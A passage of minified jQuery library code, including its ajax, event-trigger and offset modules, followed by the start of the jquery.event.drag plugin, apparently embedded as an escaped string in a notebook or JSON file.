t?t+=\\\"\\\":Array.isArray(t)&&(t=E.map(t,function(e){return null==e?\\\"\\\":e+\\\"\\\"})),(o=E.valHooks[this.type]||E.valHooks[this.nodeName.toLowerCase()])&&\\\"set\\\"in o&&void 0!==o.set(this,t,\\\"value\\\")||(this.value=t))})):t?(o=E.valHooks[t.type]||E.valHooks[t.nodeName.toLowerCase()])&&\\\"get\\\"in o&&void 0!==(e=o.get(t,\\\"value\\\"))?e:\\\"string\\\"==typeof(e=t.value)?e.replace(vt,\\\"\\\"):null==e?\\\"\\\":e:void 0}}),E.extend({valHooks:{option:{get:function(e){var t=E.find.attr(e,\\\"value\\\");return null!=t?t:gt(E.text(e))}},select:{get:function(e){var t,n,o,r=e.options,i=e.selectedIndex,l=\\\"select-one\\\"===e.type,s=l?null:[],a=l?i+1:r.length;for(o=i<0?a:l?i:0;o<a;o++)if(((n=r[o]).selected||o===i)&&!n.disabled&&(!n.parentNode.disabled||!k(n.parentNode,\\\"optgroup\\\"))){if(t=E(n).val(),l)return t;s.push(t)}return s},set:function(e,t){for(var n,o,r=e.options,i=E.makeArray(t),l=r.length;l--;)((o=r[l]).selected=-1<E.inArray(E.valHooks.option.get(o),i))&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),E.each([\\\"radio\\\",\\\"checkbox\\\"],function(){E.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<E.inArray(E(e).val(),t)}},m.checkOn||(E.valHooks[this].get=function(e){return null===e.getAttribute(\\\"value\\\")?\\\"on\\\":e.value})});var wt=/^(?:focusinfocus|focusoutblur)$/;E.extend(E.event,{trigger:function(e,t,n,o){var r,i,l,s,a,c,u,d=[n||S],p=h.call(e,\\\"type\\\")?e.type:e,f=h.call(e,\\\"namespace\\\")?e.namespace.split(\\\".\\\"):[];if(i=l=n=n||S,3!==n.nodeType&&8!==n.nodeType&&!wt.test(p+E.event.triggered)&&(-1<p.indexOf(\\\".\\\")&&(p=(f=p.split(\\\".\\\")).shift(),f.sort()),a=p.indexOf(\\\":\\\")<0&&\\\"on\\\"+p,(e=e[E.expando]?e:new E.Event(p,\\\"object\\\"==typeof e&&e)).isTrigger=o?2:3,e.namespace=f.join(\\\".\\\"),e.rnamespace=e.namespace?new RegExp(\\\"(^|\\\\\\\\.)\\\"+f.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:E.makeArray(t,[e]),u=E.event.special[p]||{},o||!u.trigger||!1!==u.trigger.apply(n,t))){if(!o&&!u.noBubble&&!E.isWindow(n)){for(s=u.delegateType||p,wt.test(s+p)||(i=i.parentNode);i;i=i.parentNode)d.push(i),l=i;l===(n.ownerDocument||S)&&d.push(l.defaultView||l.parentWindow||R)}for(r=0;(i=d[r++])&&!e.isPropagationStopped();)e.type=1<r?s:u.bindType||p,(c=(X.get(i,\\\"events\\\")||{})[e.type]&&X.get(i,\\\"handle\\\"))&&c.apply(i,t),(c=a&&i[a])&&c.apply&&O(i)&&(e.result=c.apply(i,t),!1===e.result&&e.preventDefault());return e.type=p,o||e.isDefaultPrevented()||u._default&&!1!==u._default.apply(d.pop(),t)||!O(n)||a&&E.isFunction(n[p])&&!E.isWindow(n)&&((l=n[a])&&(n[a]=null),E.event.triggered=p,n[p](),E.event.triggered=void 0,l&&(n[a]=l)),e.result}},simulate:function(e,t,n){var o=E.extend(new E.Event,n,{type:e,isSimulated:!0});E.event.trigger(o,null,t)}}),E.fn.extend({trigger:function(e,t){return this.each(function(){E.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return E.event.trigger(e,t,n,!0)}}),E.each(\\\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\\\".split(\\\" \\\"),function(e,n){E.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}}),E.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),m.focusin=\\\"onfocusin\\\"in R,m.focusin||E.each({focus:\\\"focusin\\\",blur:\\\"focusout\\\"},function(n,o){var r=function(e){E.event.simulate(o,e.target,E.event.fix(e))};E.event.special[o]={setup:function(){var e=this.ownerDocument||this,t=X.access(e,o);t||e.addEventListener(n,r,!0),X.access(e,o,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this,t=X.access(e,o)-1;t?X.access(e,o,t):(e.removeEventListener(n,r,!0),X.remove(e,o))}}});var yt=R.location,Ct=E.now(),bt=/\\\\?/;E.parseXML=function(e){var t;if(!e||\\\"string\\\"!=typeof e)return null;try{t=(new R.DOMParser).parseFromString(e,\\\"text/xml\\\")}catch(e){t=void 0}return t&&!t.getElementsByTagName(\\\"parsererror\\\").length||E.error(\\\"Invalid XML: \\\"+e),t};var xt=/\\\\[\\\\]$/,Rt=/\\\\r?\\\\n/g,St=/^(?:submit|button|image|reset|file)$/i,Et=/^(?:input|select|textarea|keygen)/i;function kt(n,e,o,r){var t;if(Array.isArray(e))E.each(e,function(e,t){o||xt.test(n)?r(n,t):kt(n+\\\"[\\\"+(\\\"object\\\"==typeof t&&null!=t?e:\\\"\\\")+\\\"]\\\",t,o,r)});else if(o||\\\"object\\\"!==E.type(e))r(n,e);else for(t in e)kt(n+\\\"[\\\"+t+\\\"]\\\",e[t],o,r)}E.param=function(e,t){var n,o=[],r=function(e,t){var n=E.isFunction(t)?t():t;o[o.length]=encodeURIComponent(e)+\\\"=\\\"+encodeURIComponent(null==n?\\\"\\\":n)};if(Array.isArray(e)||e.jquery&&!E.isPlainObject(e))E.each(e,function(){r(this.name,this.value)});else for(n in e)kt(n,e[n],t,r);return o.join(\\\"&\\\")},E.fn.extend({serialize:function(){return E.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=E.prop(this,\\\"elements\\\");return e?E.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!E(this).is(\\\":disabled\\\")&&Et.test(this.nodeName)&&!St.test(e)&&(this.checked||!le.test(e))}).map(function(e,t){var n=E(this).val();return null==n?null:Array.isArray(n)?E.map(n,function(e){return{name:t.name,value:e.replace(Rt,\\\"\\\\r\\\\n\\\")}}):{name:t.name,value:n.replace(Rt,\\\"\\\\r\\\\n\\\")}}).get()}});var Tt=/%20/g,Pt=/#.*$/,Dt=/([?&])_=[^&]*/,At=/^(.*?):[ \\\\t]*([^\\\\r\\\\n]*)$/gm,Nt=/^(?:GET|HEAD)$/,$t=/^\\\\/\\\\//,Ht={},Lt={},Ft=\\\"*/\\\".concat(\\\"*\\\"),_t=S.createElement(\\\"a\\\");function It(i){return function(e,t){\\\"string\\\"!=typeof e&&(t=e,e=\\\"*\\\");var n,o=0,r=e.toLowerCase().match(_)||[];if(E.isFunction(t))for(;n=r[o++];)\\\"+\\\"===n[0]?(n=n.slice(1)||\\\"*\\\",(i[n]=i[n]||[]).unshift(t)):(i[n]=i[n]||[]).push(t)}}function Mt(t,r,i,l){var s={},a=t===Lt;function c(e){var o;return s[e]=!0,E.each(t[e]||[],function(e,t){var n=t(r,i,l);return\\\"string\\\"!=typeof n||a||s[n]?a?!(o=n):void 0:(r.dataTypes.unshift(n),c(n),!1)}),o}return c(r.dataTypes[0])||!s[\\\"*\\\"]&&c(\\\"*\\\")}function Wt(e,t){var n,o,r=E.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((r[n]?e:o||(o={}))[n]=t[n]);return o&&E.extend(!0,e,o),e}_t.href=yt.href,E.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yt.href,type:\\\"GET\\\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(yt.protocol),global:!0,processData:!0,async:!0,contentType:\\\"application/x-www-form-urlencoded; charset=UTF-8\\\",accepts:{\\\"*\\\":Ft,text:\\\"text/plain\\\",html:\\\"text/html\\\",xml:\\\"application/xml, text/xml\\\",json:\\\"application/json, text/javascript\\\"},contents:{xml:/\\\\bxml\\\\b/,html:/\\\\bhtml/,json:/\\\\bjson\\\\b/},responseFields:{xml:\\\"responseXML\\\",text:\\\"responseText\\\",json:\\\"responseJSON\\\"},converters:{\\\"* text\\\":String,\\\"text html\\\":!0,\\\"text json\\\":JSON.parse,\\\"text xml\\\":E.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Wt(Wt(e,E.ajaxSettings),t):Wt(E.ajaxSettings,e)},ajaxPrefilter:It(Ht),ajaxTransport:It(Lt),ajax:function(e,t){\\\"object\\\"==typeof e&&(t=e,e=void 0),t=t||{};var u,d,p,n,f,o,h,g,r,i,m=E.ajaxSetup({},t),v=m.context||m,w=m.context&&(v.nodeType||v.jquery)?E(v):E.event,y=E.Deferred(),C=E.Callbacks(\\\"once memory\\\"),b=m.statusCode||{},l={},s={},a=\\\"canceled\\\",x={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n)for(n={};t=At.exec(p);)n[t[1].toLowerCase()]=t[2];t=n[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,l[e]=t),this},overrideMimeType:function(e){return null==h&&(m.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)x.always(e[x.status]);else for(t in e)b[t]=[b[t],e[t]];return this},abort:function(e){var t=e||a;return u&&u.abort(t),c(0,t),this}};if(y.promise(x),m.url=((e||m.url||yt.href)+\\\"\\\").replace($t,yt.protocol+\\\"//\\\"),m.type=t.method||t.type||m.method||m.type,m.dataTypes=(m.dataType||\\\"*\\\").toLowerCase().match(_)||[\\\"\\\"],null==m.crossDomain){o=S.createElement(\\\"a\\\");try{o.href=m.url,o.href=o.href,m.crossDomain=_t.protocol+\\\"//\\\"+_t.host!=o.protocol+\\\"//\\\"+o.host}catch(e){m.crossDomain=!0}}if(m.data&&m.processData&&\\\"string\\\"!=typeof m.data&&(m.data=E.param(m.data,m.traditional)),Mt(Ht,m,t,x),h)return x;for(r in(g=E.event&&m.global)&&0==E.active++&&E.event.trigger(\\\"ajaxStart\\\"),m.type=m.type.toUpperCase(),m.hasContent=!Nt.test(m.type),d=m.url.replace(Pt,\\\"\\\"),m.hasContent?m.data&&m.processData&&0===(m.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&(m.data=m.data.replace(Tt,\\\"+\\\")):(i=m.url.slice(d.length),m.data&&(d+=(bt.test(d)?\\\"&\\\":\\\"?\\\")+m.data,delete m.data),!1===m.cache&&(d=d.replace(Dt,\\\"$1\\\"),i=(bt.test(d)?\\\"&\\\":\\\"?\\\")+\\\"_=\\\"+Ct+++i),m.url=d+i),m.ifModified&&(E.lastModified[d]&&x.setRequestHeader(\\\"If-Modified-Since\\\",E.lastModified[d]),E.etag[d]&&x.setRequestHeader(\\\"If-None-Match\\\",E.etag[d])),(m.data&&m.hasContent&&!1!==m.contentType||t.contentType)&&x.setRequestHeader(\\\"Content-Type\\\",m.contentType),x.setRequestHeader(\\\"Accept\\\",m.dataTypes[0]&&m.accepts[m.dataTypes[0]]?m.accepts[m.dataTypes[0]]+(\\\"*\\\"!==m.dataTypes[0]?\\\", \\\"+Ft+\\\"; q=0.01\\\":\\\"\\\"):m.accepts[\\\"*\\\"]),m.headers)x.setRequestHeader(r,m.headers[r]);if(m.beforeSend&&(!1===m.beforeSend.call(v,x,m)||h))return x.abort();if(a=\\\"abort\\\",C.add(m.complete),x.done(m.success),x.fail(m.error),u=Mt(Lt,m,t,x)){if(x.readyState=1,g&&w.trigger(\\\"ajaxSend\\\",[x,m]),h)return x;m.async&&0<m.timeout&&(f=R.setTimeout(function(){x.abort(\\\"timeout\\\")},m.timeout));try{h=!1,u.send(l,c)}catch(e){if(h)throw e;c(-1,e)}}else c(-1,\\\"No Transport\\\");function c(e,t,n,o){var r,i,l,s,a,c=t;h||(h=!0,f&&R.clearTimeout(f),u=void 0,p=o||\\\"\\\",x.readyState=0<e?4:0,r=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var o,r,i,l,s=e.contents,a=e.dataTypes;for(;\\\"*\\\"===a[0];)a.shift(),void 0===o&&(o=e.mimeType||t.getResponseHeader(\\\"Content-Type\\\"));if(o)for(r in s)if(s[r]&&s[r].test(o)){a.unshift(r);break}if(a[0]in n)i=a[0];else{for(r in n){if(!a[0]||e.converters[r+\\\" \\\"+a[0]]){i=r;break}l||(l=r)}i=i||l}if(i)return i!==a[0]&&a.unshift(i),n[i]}(m,x,n)),s=function(e,t,n,o){var r,i,l,s,a,c={},u=e.dataTypes.slice();if(u[1])for(l in e.converters)c[l.toLowerCase()]=e.converters[l];i=u.shift();for(;i;)if(e.responseFields[i]&&(n[e.responseFields[i]]=t),!a&&o&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a=i,i=u.shift())if(\\\"*\\\"===i)i=a;else if(\\\"*\\\"!==a&&a!==i){if(!(l=c[a+\\\" \\\"+i]||c[\\\"* \\\"+i]))for(r in c)if((s=r.split(\\\" \\\"))[1]===i&&(l=c[a+\\\" \\\"+s[0]]||c[\\\"* \\\"+s[0]])){!0===l?l=c[r]:!0!==c[r]&&(i=s[0],u.unshift(s[1]));break}if(!0!==l)if(l&&e.throws)t=l(t);else try{t=l(t)}catch(e){return{state:\\\"parsererror\\\",error:l?e:\\\"No conversion from \\\"+a+\\\" to \\\"+i}}}return{state:\\\"success\\\",data:t}}(m,s,x,r),r?(m.ifModified&&((a=x.getResponseHeader(\\\"Last-Modified\\\"))&&(E.lastModified[d]=a),(a=x.getResponseHeader(\\\"etag\\\"))&&(E.etag[d]=a)),204===e||\\\"HEAD\\\"===m.type?c=\\\"nocontent\\\":304===e?c=\\\"notmodified\\\":(c=s.state,i=s.data,l=s.error,r=!l)):(l=c,!e&&c||(c=\\\"error\\\",e<0&&(e=0))),x.status=e,x.statusText=(t||c)+\\\"\\\",r?y.resolveWith(v,[i,c,x]):y.rejectWith(v,[x,c,l]),x.statusCode(b),b=void 0,g&&w.trigger(r?\\\"ajaxSuccess\\\":\\\"ajaxError\\\",[x,m,r?i:l]),C.fireWith(v,[x,c]),g&&(w.trigger(\\\"ajaxComplete\\\",[x,m]),--E.active||E.event.trigger(\\\"ajaxStop\\\")))}return x},getJSON:function(e,t,n){return E.get(e,t,n,\\\"json\\\")},getScript:function(e,t){return E.get(e,void 0,t,\\\"script\\\")}}),E.each([\\\"get\\\",\\\"post\\\"],function(e,r){E[r]=function(e,t,n,o){return E.isFunction(t)&&(o=o||n,n=t,t=void 0),E.ajax(E.extend({url:e,type:r,dataType:o,data:t,success:n},E.isPlainObject(e)&&e))}}),E._evalUrl=function(e){return E.ajax({url:e,type:\\\"GET\\\",dataType:\\\"script\\\",cache:!0,async:!1,global:!1,throws:!0})},E.fn.extend({wrapAll:function(e){var t;return this[0]&&(E.isFunction(e)&&(e=e.call(this[0])),t=E(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return E.isFunction(n)?this.each(function(e){E(this).wrapInner(n.call(this,e))}):this.each(function(){var e=E(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=E.isFunction(t);return this.each(function(e){E(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(\\\"body\\\").each(function(){E(this).replaceWith(this.childNodes)}),this}}),E.expr.pseudos.hidden=function(e){return!E.expr.pseudos.visible(e)},E.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},E.ajaxSettings.xhr=function(){try{return new R.XMLHttpRequest}catch(e){}};var jt={0:200,1223:204},Vt=E.ajaxSettings.xhr();m.cors=!!Vt&&\\\"withCredentials\\\"in Vt,m.ajax=Vt=!!Vt,E.ajaxTransport(function(r){var i,l;if(m.cors||Vt&&!r.crossDomain)return{send:function(e,t){var n,o=r.xhr();if(o.open(r.type,r.url,r.async,r.username,r.password),r.xhrFields)for(n in r.xhrFields)o[n]=r.xhrFields[n];for(n in r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.crossDomain||e[\\\"X-Requested-With\\\"]||(e[\\\"X-Requested-With\\\"]=\\\"XMLHttpRequest\\\"),e)o.setRequestHeader(n,e[n]);i=function(e){return function(){i&&(i=l=o.onload=o.onerror=o.onabort=o.onreadystatechange=null,\\\"abort\\\"===e?o.abort():\\\"error\\\"===e?\\\"number\\\"!=typeof o.status?t(0,\\\"error\\\"):t(o.status,o.statusText):t(jt[o.status]||o.status,o.statusText,\\\"text\\\"!==(o.responseType||\\\"text\\\")||\\\"string\\\"!=typeof o.responseText?{binary:o.response}:{text:o.responseText},o.getAllResponseHeaders()))}},o.onload=i(),l=o.onerror=i(\\\"error\\\"),void 0!==o.onabort?o.onabort=l:o.onreadystatechange=function(){4===o.readyState&&R.setTimeout(function(){i&&l()})},i=i(\\\"abort\\\");try{o.send(r.hasContent&&r.data||null)}catch(e){if(i)throw e}},abort:function(){i&&i()}}}),E.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),E.ajaxSetup({accepts:{script:\\\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\\\"},contents:{script:/\\\\b(?:java|ecma)script\\\\b/},converters:{\\\"text script\\\":function(e){return E.globalEval(e),e}}}),E.ajaxPrefilter(\\\"script\\\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\\\"GET\\\")}),E.ajaxTransport(\\\"script\\\",function(n){var o,r;if(n.crossDomain)return{send:function(e,t){o=E(\\\"<script>\\\").prop({charset:n.scriptCharset,src:n.url}).on(\\\"load error\\\",r=function(e){o.remove(),r=null,e&&t(\\\"error\\\"===e.type?404:200,e.type)}),S.head.appendChild(o[0])},abort:function(){r&&r()}}});var Bt,qt=[],Ot=/(=)\\\\?(?=&|$)|\\\\?\\\\?/;E.ajaxSetup({jsonp:\\\"callback\\\",jsonpCallback:function(){var e=qt.pop()||E.expando+\\\"_\\\"+Ct++;return this[e]=!0,e}}),E.ajaxPrefilter(\\\"json jsonp\\\",function(e,t,n){var o,r,i,l=!1!==e.jsonp&&(Ot.test(e.url)?\\\"url\\\":\\\"string\\\"==typeof e.data&&0===(e.contentType||\\\"\\\").indexOf(\\\"application/x-www-form-urlencoded\\\")&&Ot.test(e.data)&&\\\"data\\\");if(l||\\\"jsonp\\\"===e.dataTypes[0])return o=e.jsonpCallback=E.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,l?e[l]=e[l].replace(Ot,\\\"$1\\\"+o):!1!==e.jsonp&&(e.url+=(bt.test(e.url)?\\\"&\\\":\\\"?\\\")+e.jsonp+\\\"=\\\"+o),e.converters[\\\"script json\\\"]=function(){return i||E.error(o+\\\" was not called\\\"),i[0]},e.dataTypes[0]=\\\"json\\\",r=R[o],R[o]=function(){i=arguments},n.always(function(){void 0===r?E(R).removeProp(o):R[o]=r,e[o]&&(e.jsonpCallback=t.jsonpCallback,qt.push(o)),i&&E.isFunction(r)&&r(i[0]),i=r=void 0}),\\\"script\\\"}),m.createHTMLDocument=((Bt=S.implementation.createHTMLDocument(\\\"\\\").body).innerHTML=\\\"<form></form><form></form>\\\",2===Bt.childNodes.length),E.parseHTML=function(e,t,n){return\\\"string\\\"!=typeof e?[]:(\\\"boolean\\\"==typeof t&&(n=t,t=!1),t||(m.createHTMLDocument?(t=S.implementation.createHTMLDocument(\\\"\\\"),(o=t.createElement(\\\"base\\\")).href=S.location.href,t.head.appendChild(o)):t=S),r=T.exec(e),i=!n&&[],r?[t.createElement(r[1])]:(r=me([e],t,i),i&&i.length&&E(i).remove(),E.merge([],r.childNodes)));var o,r,i},E.fn.load=function(e,t,n){var o,r,i,l=this,s=e.indexOf(\\\" \\\");return-1<s&&(o=gt(e.slice(s)),e=e.slice(0,s)),E.isFunction(t)?(n=t,t=void 0):t&&\\\"object\\\"==typeof t&&(r=\\\"POST\\\"),0<l.length&&E.ajax({url:e,type:r||\\\"GET\\\",dataType:\\\"html\\\",data:t}).done(function(e){i=arguments,l.html(o?E(\\\"<div>\\\").append(E.parseHTML(e)).find(o):e)}).always(n&&function(e,t){l.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},E.each([\\\"ajaxStart\\\",\\\"ajaxStop\\\",\\\"ajaxComplete\\\",\\\"ajaxError\\\",\\\"ajaxSuccess\\\",\\\"ajaxSend\\\"],function(e,t){E.fn[t]=function(e){return this.on(t,e)}}),E.expr.pseudos.animated=function(t){return E.grep(E.timers,function(e){return t===e.elem}).length},E.offset={setOffset:function(e,t,n){var o,r,i,l,s,a,c=E.css(e,\\\"position\\\"),u=E(e),d={};\\\"static\\\"===c&&(e.style.position=\\\"relative\\\"),s=u.offset(),i=E.css(e,\\\"top\\\"),a=E.css(e,\\\"left\\\"),(\\\"absolute\\\"===c||\\\"fixed\\\"===c)&&-1<(i+a).indexOf(\\\"auto\\\")?(o=u.position(),l=o.top,r=o.left):(l=parseFloat(i)||0,r=parseFloat(a)||0),E.isFunction(t)&&(t=t.call(e,n,E.extend({},s))),null!=t.top&&(d.top=t.top-s.top+l),null!=t.left&&(d.left=t.left-s.left+r),\\\"using\\\"in t?t.using.call(e,d):u.css(d)}},E.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){E.offset.setOffset(this,t,e)});var e,n,o,r,i=this[0];return i?i.getClientRects().length?(o=i.getBoundingClientRect(),e=i.ownerDocument,n=e.documentElement,r=e.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n=this[0],o={top:0,left:0};return\\\"fixed\\\"===E.css(n,\\\"position\\\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),k(e[0],\\\"html\\\")||(o=e.offset()),o={top:o.top+E.css(e[0],\\\"borderTopWidth\\\",!0),left:o.left+E.css(e[0],\\\"borderLeftWidth\\\",!0)}),{top:t.top-o.top-E.css(n,\\\"marginTop\\\",!0),left:t.left-o.left-E.css(n,\\\"marginLeft\\\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\\\"static\\\"===E.css(e,\\\"position\\\");)e=e.offsetParent;return e||ve})}}),E.each({scrollLeft:\\\"pageXOffset\\\",scrollTop:\\\"pageYOffset\\\"},function(t,r){var i=\\\"pageYOffset\\\"===r;E.fn[t]=function(e){return q(this,function(e,t,n){var o;if(E.isWindow(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===n)return o?o[r]:e[t];o?o.scrollTo(i?o.pageXOffset:n,i?n:o.pageYOffset):e[t]=n},t,e,arguments.length)}}),E.each([\\\"top\\\",\\\"left\\\"],function(e,n){E.cssHooks[n]=Ve(m.pixelPosition,function(e,t){if(t)return t=je(e,n),Me.test(t)?E(e).position()[n]+\\\"px\\\":t})}),E.each({Height:\\\"height\\\",Width:\\\"width\\\"},function(l,s){E.each({padding:\\\"inner\\\"+l,content:s,\\\"\\\":\\\"outer\\\"+l},function(o,i){E.fn[i]=function(e,t){var n=arguments.length&&(o||\\\"boolean\\\"!=typeof e),r=o||(!0===e||!0===t?\\\"margin\\\":\\\"border\\\");return q(this,function(e,t,n){var o;return E.isWindow(e)?0===i.indexOf(\\\"outer\\\")?e[\\\"inner\\\"+l]:e.document.documentElement[\\\"client\\\"+l]:9===e.nodeType?(o=e.documentElement,Math.max(e.body[\\\"scroll\\\"+l],o[\\\"scroll\\\"+l],e.body[\\\"offset\\\"+l],o[\\\"offset\\\"+l],o[\\\"client\\\"+l])):void 0===n?E.css(e,t,r):E.style(e,t,n,r)},s,n?e:void 0,n)}})}),E.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,o){return this.on(t,e,n,o)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\\\"**\\\"):this.off(t,e||\\\"**\\\",n)}}),E.holdReady=function(e){e?E.readyWait++:E.ready(!0)},E.isArray=Array.isArray,E.parseJSON=JSON.parse,E.nodeName=k,\\\"function\\\"==typeof define&&define.amd&&define(\\\"jquery\\\",[],function(){return E});var zt=R.jQuery,Xt=R.$;return E.noConflict=function(e){return R.$===E&&(R.$=Xt),e&&R.jQuery===E&&(R.jQuery=zt),E},e||(R.jQuery=R.$=E),E})},442:function(e,t,n){\\n\",\n       \"      /*!\\n\",\n       \"           * jquery.event.drag - v 2.3.0\\n\",\n       \"           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n\",\n       \"           * Open Source MIT License - http://threedubmedia.com/code/license\\n\",\n       \"           */\\n\",\n       \"      var f=e(448);f.fn.drag=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drag\\\")&&(o=\\\"drag\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)};var h=f.event,o=h.special,g=o.drag={defaults:{which:1,distance:0,not:\\\":input\\\",handle:null,relative:!1,drop:!0,click:!1},datakey:\\\"dragdata\\\",noBubble:!0,add:function(e){var n=f.data(this,g.datakey),o=e.data||{};n.related+=1,f.each(g.defaults,function(e,t){void 0!==o[e]&&(n[e]=o[e])})},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){var e=f.extend({related:0},g.defaults);f.data(this,g.datakey,e),h.add(this,\\\"touchstart mousedown\\\",g.init,e),this.attachEvent&&this.attachEvent(\\\"ondragstart\\\",g.dontstart)}},teardown:function(){var e=f.data(this,g.datakey)||{};e.related||(f.removeData(this,g.datakey),h.remove(this,\\\"touchstart mousedown\\\",g.init),g.textselect(!0),this.detachEvent&&this.detachEvent(\\\"ondragstart\\\",g.dontstart))},init:function(e){if(!g.touched){var t,n=e.data;if(!(0!=e.which&&0<n.which&&e.which!=n.which)&&!f(e.target).is(n.not)&&(!n.handle||f(e.target).closest(n.handle,e.currentTarget).length)&&(g.touched=\\\"touchstart\\\"==e.type?this:null,n.propagates=1,n.mousedown=this,n.interactions=[g.interaction(this,n)],n.target=e.target,n.pageX=e.pageX,n.pageY=e.pageY,n.dragging=null,t=g.hijack(e,\\\"draginit\\\",n),n.propagates))return(t=g.flatten(t))&&t.length&&(n.interactions=[],f.each(t,function(){n.interactions.push(g.interaction(this,n))})),n.propagates=n.interactions.length,!1!==n.drop&&o.drop&&o.drop.handler(e,n),g.textselect(!1),g.touched?h.add(g.touched,\\\"touchmove touchend\\\",g.handler,n):h.add(document,\\\"mousemove mouseup\\\",g.handler,n),!(!g.touched||n.live)&&void 0}},interaction:function(e,t){var n=e&&e.ownerDocument&&f(e)[t.relative?\\\"position\\\":\\\"offset\\\"]()||{top:0,left:0};return{drag:e,callback:new g.callback,droppable:[],offset:n}},handler:function(e){var t=e.data;switch(e.type){case!t.dragging&&\\\"touchmove\\\":e.preventDefault();case!t.dragging&&\\\"mousemove\\\":if(Math.pow(e.pageX-t.pageX,2)+Math.pow(e.pageY-t.pageY,2)<Math.pow(t.distance,2))break;e.target=t.target,g.hijack(e,\\\"dragstart\\\",t),t.propagates&&(t.dragging=!0);case\\\"touchmove\\\":e.preventDefault();case\\\"mousemove\\\":if(t.dragging){if(g.hijack(e,\\\"drag\\\",t),t.propagates){!1!==t.drop&&o.drop&&o.drop.handler(e,t);break}e.type=\\\"mouseup\\\"}case\\\"touchend\\\":case\\\"mouseup\\\":default:g.touched?h.remove(g.touched,\\\"touchmove touchend\\\",g.handler):h.remove(document,\\\"mousemove mouseup\\\",g.handler),t.dragging&&(!1!==t.drop&&o.drop&&o.drop.handler(e,t),g.hijack(e,\\\"dragend\\\",t)),g.textselect(!0),!1===t.click&&t.dragging&&f.data(t.mousedown,\\\"suppress.click\\\",(new Date).getTime()+5),t.dragging=g.touched=!1}},hijack:function(n,o,r,e,t){if(r){var i,l,s,a={event:n.originalEvent,type:n.type},c=o.indexOf(\\\"drop\\\")?\\\"drag\\\":\\\"drop\\\",u=e||0,d=isNaN(e)?r.interactions.length:e;n.type=o;var p=function(){};n.originalEvent=new f.Event(a.event,{preventDefault:p,stopPropagation:p,stopImmediatePropagation:p}),r.results=[];do{if(l=r.interactions[u]){if(\\\"dragend\\\"!==o&&l.cancelled)continue;s=g.properties(n,r,l),l.results=[],f(t||l[c]||r.droppable).each(function(e,t){if(s.target=t,!(n.isPropagationStopped=function(){return!1})===(i=t?h.dispatch.call(t,n,s):null)?(\\\"drag\\\"==c&&(l.cancelled=!0,r.propagates-=1),\\\"drop\\\"==o&&(l[c][e]=null)):\\\"dropinit\\\"==o&&l.droppable.push(g.element(i)||t),\\\"dragstart\\\"==o&&(l.proxy=f(g.element(i)||l.drag)[0]),l.results.push(i),delete n.result,\\\"dropinit\\\"!==o)return i}),r.results[u]=g.flatten(l.results),\\\"dropinit\\\"==o&&(l.droppable=g.flatten(l.droppable)),\\\"dragstart\\\"!=o||l.cancelled||s.update()}}while(++u<d);return n.type=a.type,n.originalEvent=a.event,g.flatten(r.results)}},properties:function(e,t,n){var o=n.callback;return 